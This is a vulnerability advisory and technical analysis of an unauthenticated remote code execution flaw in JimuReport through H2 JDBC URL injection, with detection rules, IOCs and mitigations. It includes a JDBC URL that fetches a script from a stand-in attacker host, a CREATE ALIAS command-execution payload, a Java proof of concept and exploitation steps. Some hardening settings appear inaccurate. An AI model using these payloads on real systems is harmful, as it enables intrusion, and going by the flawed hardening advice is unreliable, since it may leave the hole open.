CVE-2025-66913
CVE-2025-66913
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
JimuReport thru version 2.1.3 is vulnerable to remote code execution when processing user-controlled H2 JDBC URLs. The application passes the attacker-supplied JDBC URL directly to the H2 driver, allowing the use of certain directives to execute arbitrary Java code. A different vulnerability than CVE-2025-10770.
Comprehensive Technical Analysis of CVE-2025-66913
JimuReport Remote Code Execution via H2 JDBC URL Injection
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2025-66913 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vector Breakdown:
- Attack Vector (AV:N): Exploitable remotely over a network.
- Attack Complexity (AC:L): Low complexity; no special conditions required.
- Privileges Required (PR:N): No authentication needed.
- User Interaction (UI:N): No user interaction required.
- Scope (S:U): Impact confined to the vulnerable component.
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of all security objectives.
Severity Justification
This vulnerability is critical due to:
- Unauthenticated RCE: Attackers can execute arbitrary code without prior access.
- Low Exploitation Complexity: No special conditions (e.g., race conditions, memory corruption) are required.
- High Impact: Complete system compromise (data theft, lateral movement, persistence).
- Widespread Exposure: JimuReport is widely used in enterprise reporting and BI environments, often exposed to internal or external networks.
The CVSS score of 9.8 accurately reflects the high risk posed by this flaw, particularly in environments where JimuReport is deployed in production or accessible via the internet.
2. Potential Attack Vectors and Exploitation Methods
Root Cause Analysis
JimuReport (versions ≤ 2.1.3) improperly handles H2 JDBC URLs provided by users. The application directly passes attacker-controlled input to the H2 database driver, which supports Java code execution via specific JDBC URL directives.
Exploitation Mechanism
-
JDBC URL Injection:
- The H2 database driver allows arbitrary Java code execution via the
INITparameter in a JDBC URL. - Example malicious JDBC URL:
jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM 'http://attacker.com/malicious.sql'- The
INITparameter can execute SQL scripts, including Java code viaCREATE ALIAS. - Alternatively, an attacker can use
TRACE_LEVEL_FILEorTRACE_LEVEL_SYSTEM_OUTto log malicious payloads.
- The
- The H2 database driver allows arbitrary Java code execution via the
-
Remote Code Execution (RCE) via Java Aliases:
- The H2 database allows defining Java functions via
CREATE ALIAS, which can execute arbitrary Java code. - Example payload:
CREATE ALIAS EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}'; CALL EXEC('calc.exe'); - When processed by JimuReport, this executes the supplied command on the underlying OS.
- The H2 database allows defining Java functions via
-
Exploitation Steps:
- Step 1: Identify a JimuReport instance (e.g., via Shodan, Censys, or internal discovery).
- Step 2: Craft a malicious JDBC URL containing an
INITscript or Java alias. - Step 3: Submit the URL via a vulnerable API endpoint (e.g., report generation, database connection configuration).
- Step 4: The H2 driver processes the URL, executing the embedded Java code.
- Step 5: Achieve RCE with the privileges of the JimuReport service account.
Attack Scenarios
| Scenario | Description | Impact |
|---|---|---|
| Unauthenticated RCE | Attacker submits a malicious JDBC URL via an exposed API (e.g., /jimureport/designer). | Full system compromise. |
| Phishing + RCE | Attacker tricks a user into importing a malicious report template containing the payload. | Compromise of user’s session and underlying system. |
| Supply Chain Attack | Malicious JDBC URL embedded in a third-party report template. | Lateral movement in enterprise environments. |
| Post-Exploitation | Used by threat actors after initial access to escalate privileges or maintain persistence. | Extended dwell time, data exfiltration. |
3. Affected Systems and Software Versions
Vulnerable Software
- Product: JimuReport (JeecgBoot reporting module)
- Affected Versions: ≤ 2.1.3
- Fixed Versions: ≥ 2.1.4 (if available; check vendor advisories)
Deployment Contexts at Risk
- Enterprise BI/Reporting Systems: JimuReport is often deployed in business intelligence (BI) environments.
- Internal Web Applications: Frequently exposed to internal networks, increasing lateral movement risk.
- Cloud-Based Deployments: If JimuReport is hosted in cloud environments (e.g., AWS, Azure), RCE could lead to cloud resource compromise.
- Dev/Test Environments: Often less secured, providing an entry point for attackers.
Detection Methods
- Network Signatures:
- Look for H2 JDBC URLs containing
INIT,RUNSCRIPT, orCREATE ALIASin HTTP requests. - Example Snort/Suricata rule:
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"CVE-2025-66913 - JimuReport H2 JDBC RCE Attempt"; flow:to_server,established; content:"jdbc:h2:"; nocase; content:"INIT="; nocase; pcre:"/jdbc:h2:.*INIT=.*(RUNSCRIPT|CREATE\s+ALIAS)/i"; sid:1000001; rev:1;)
- Look for H2 JDBC URLs containing
- Log Analysis:
- Check JimuReport logs for unexpected JDBC URL submissions.
- Monitor for unusual child processes spawned by the JimuReport service (e.g.,
cmd.exe,powershell,bash).
4. Recommended Mitigation Strategies
Immediate Actions
| Mitigation | Description | Effectiveness |
|---|---|---|
| Apply Vendor Patch | Upgrade to JimuReport ≥ 2.1.4 (or latest secure version). | High (eliminates root cause) |
| Network Segmentation | Isolate JimuReport instances from untrusted networks (e.g., internet, guest Wi-Fi). | Medium (reduces attack surface) |
| Web Application Firewall (WAF) | Deploy WAF rules to block malicious JDBC URLs (e.g., ModSecurity OWASP CRS). | Medium (mitigates known payloads) |
| Disable H2 JDBC Support | If H2 is not required, disable it in JimuReport configuration. | High (if feasible) |
| Least Privilege Principle | Run JimuReport under a low-privilege service account (no admin rights). | Medium (limits impact) |
Long-Term Remediation
-
Input Validation & Sanitization:
- Implement strict whitelisting for JDBC URLs (e.g., only allow
jdbc:h2:file:orjdbc:h2:tcp:withoutINIT). - Use parameterized queries instead of direct string concatenation.
- Implement strict whitelisting for JDBC URLs (e.g., only allow
-
H2 Database Hardening:
- Disable
RUNSCRIPTandCREATE ALIASin H2 configuration:h2.allowLiterals=NONE h2.traceLevelFile=0 h2.traceLevelSystemOut=0 - Use H2’s
IFEXISTSparameter to prevent unauthorized database creation.
- Disable
-
Runtime Application Self-Protection (RASP):
- Deploy RASP solutions to monitor and block suspicious JDBC URL processing.
-
Regular Vulnerability Scanning:
- Use tools like Nessus, OpenVAS, or Burp Suite to detect vulnerable JimuReport instances.
-
Incident Response Planning:
- Develop a playbook for RCE incidents, including:
- Isolation of affected systems.
- Forensic analysis of logs and memory.
- Containment and eradication procedures.
- Develop a playbook for RCE incidents, including:
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Increased Attack Surface for BI Tools:
- JimuReport is part of the JeecgBoot ecosystem, which is widely used in Chinese and international enterprises.
- Similar vulnerabilities may exist in other reporting tools (e.g., JasperReports, BIRT) that use H2 or other JDBC drivers.
-
Supply Chain Risks:
- Third-party report templates may embed malicious JDBC URLs, leading to supply chain attacks.
- Organizations using pre-built JimuReport templates from untrusted sources are at risk.
-
Exploitation by APT Groups:
- Advanced Persistent Threats (APTs) may leverage this for initial access or lateral movement in targeted attacks.
- Ransomware groups could use it to deploy encryptors or exfiltrate data.
-
Regulatory and Compliance Risks:
- GDPR, HIPAA, PCI DSS: Unauthorized RCE could lead to data breaches, triggering regulatory fines.
- NIS2 Directive (EU): Critical infrastructure operators must patch such vulnerabilities within 24-72 hours.
-
Shift in Attacker Tactics:
- Attackers may pivot from traditional SQLi to JDBC-based RCE due to the high success rate of this exploit.
- Automated exploitation (e.g., via Metasploit modules) is likely to emerge.
6. Technical Details for Security Professionals
Exploit Proof-of-Concept (PoC)
A non-malicious PoC demonstrating the vulnerability (for authorized testing only):
// Malicious JDBC URL (executes 'whoami' on Linux/Windows)
String maliciousUrl = "jdbc:h2:mem:testdb;INIT=CREATE ALIAS EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC('whoami')";
// Simulate JimuReport processing the URL
try (Connection conn = DriverManager.getConnection(maliciousUrl)) {
System.out.println("RCE executed!");
} catch (SQLException e) {
e.printStackTrace();
}
H2 Database Exploitation Techniques
| Technique | Description | Mitigation |
|---|---|---|
INIT=RUNSCRIPT | Executes SQL scripts from a remote URL. | Disable RUNSCRIPT in H2 config. |
CREATE ALIAS | Defines Java functions that execute arbitrary code. | Restrict CREATE ALIAS permissions. |
TRACE_LEVEL_FILE | Logs database activity to a file, which can be abused for LFI. | Set traceLevelFile=0. |
AUTO_SERVER=TRUE | Enables remote H2 server access (potential pivoting). | Disable AUTO_SERVER. |
Forensic Indicators of Compromise (IOCs)
| Indicator | Description |
|---|---|
| Process Execution | Unexpected child processes (e.g., cmd.exe, powershell, bash). |
| Network Connections | Outbound connections to attacker-controlled servers (e.g., http://attacker.com/malicious.sql). |
| File System Artifacts | Temporary files created by H2 (e.g., *.trace.db). |
| Log Entries | JimuReport logs containing jdbc:h2:mem: with INIT or RUNSCRIPT. |
Detection & Hunting Queries
- Splunk:
index=* sourcetype=jimureport_logs "jdbc:h2:" AND ("INIT=" OR "RUNSCRIPT" OR "CREATE ALIAS") - Elasticsearch:
{ "query": { "bool": { "must": [ { "match": { "message": "jdbc:h2:" } }, { "match": { "message": "INIT=" } } ] } } } - Sigma Rule:
title: CVE-2025-66913 - JimuReport H2 JDBC RCE Attempt id: 12345678-1234-5678-1234-567812345678 status: experimental description: Detects attempts to exploit CVE-2025-66913 via malicious H2 JDBC URLs. references: - https://gist.github.com/Catherines77/f15d53e9705b24cf018e5bffed3e8234 author: Your Name date: 2026/01/09 logsource: category: webserver product: jimureport detection: selection: cs_uri_query|contains: "jdbc:h2:" cs_uri_query|contains: - "INIT=" - "RUNSCRIPT" - "CREATE ALIAS" condition: selection falsepositives: - Legitimate H2 database usage (tune as needed) level: critical
Conclusion
CVE-2025-66913 represents a critical unauthenticated RCE vulnerability in JimuReport, stemming from improper handling of H2 JDBC URLs. Given its CVSS 9.8 score, low exploitation complexity, and high impact, organizations must prioritize patching and implement compensating controls (e.g., WAF rules, network segmentation).
Security teams should:
- Patch immediately (if a fix is available).
- Monitor for exploitation attempts using the provided detection rules.
- Harden H2 database configurations to prevent abuse.
- Assume breach and hunt for IOCs in environments where JimuReport is deployed.
Failure to address this vulnerability could result in full system compromise, data breaches, and regulatory penalties. Proactive mitigation is essential to reduce exposure.